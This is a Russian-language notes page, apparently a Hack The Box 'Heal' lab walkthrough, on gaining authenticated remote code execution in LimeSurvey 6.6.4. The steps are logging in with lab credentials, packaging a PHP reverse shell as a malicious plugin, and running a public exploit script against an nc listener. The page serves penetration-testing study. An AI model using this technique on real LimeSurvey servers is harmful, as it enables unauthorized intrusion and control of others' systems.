> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

Заметки по эксплуатации LimeSurvey 6.6.4 для аутентифицированного RCE, создания вредоносного пакета плагина, злоупотребления config.xml, PHP reverse shell и нацеливания на ID плагина.

## Уязвимость CMS LimeSurvey

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37bc8dd69a0f0a725cf9657e922a6f43a5903821%2F%7BC71FDCBF-5AD2-48E4-84D2-95FB8C960697%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Доступ к административной панели

Интерфейс администрирования доступен по следующему URL:

`http://take-survey.heal.htb/index.php/admin`

Войдите, используя учетные данные Ральфа:

* **Имя пользователя** : `ralph`
* **Пароль** : `147258369`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58bfcc03ac573d300e02353b911d5bbb4f63d4f6%2Fimage%20(560).png?alt=media" alt=""><figcaption></figcaption></figure>

Версия LimeSurvey — **6.6.4**, которая уязвима к **Удалённое выполнение кода (RCE)**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8ac3d95d8209465b521b0d4aaa60082d1384f1%2Fimage%20(2957).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Эксплуатация RCE через вредоносное расширение

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Адаптируйте скрипт эксплойта к целевой среде.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884ccd70f035d6b22b3c262bef953ca12346e323%2Fimage%20(2958).png?alt=media" alt=""><figcaption></figcaption></figure>

Сначала создайте архив, содержащий `config.xml` и PHP reverse shell:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddc872324338bd7f7db62666753f9105da2f4971%2Fimage%20(2959).png?alt=media" alt=""><figcaption></figcaption></figure>

Затем установите вредоносный плагин через веб-интерфейс LimeSurvey.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5740c66aa96ac035d852db9a077d1775b44efa%2Fimage%20(2960).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39960946ca8d5bf63bdd6171f5426618361e869f%2Fimage%20(2961).png?alt=media" alt="" width="501"><figcaption></figcaption></figure>

Наведите курсор на установленный плагин, чтобы определить его ID.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a042ca50d4056663f48461014ad05a3d35abd40%2Fimage%20(2962).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7df23ac4eb0fbf342046a6322a9ede3dbc46ae3%2Fimage%20(2963).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

После обновления скрипта этим ID запустите прослушиватель на порту 443:

```bash
nc -nlvp 443
```

Наконец, запустите эксплойт с помощью Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afc2b54aa7a9a27599eaa3b92e41e846f94d5f0%2Fimage%20(2964).png?alt=media" alt=""><figcaption></figcaption></figure>


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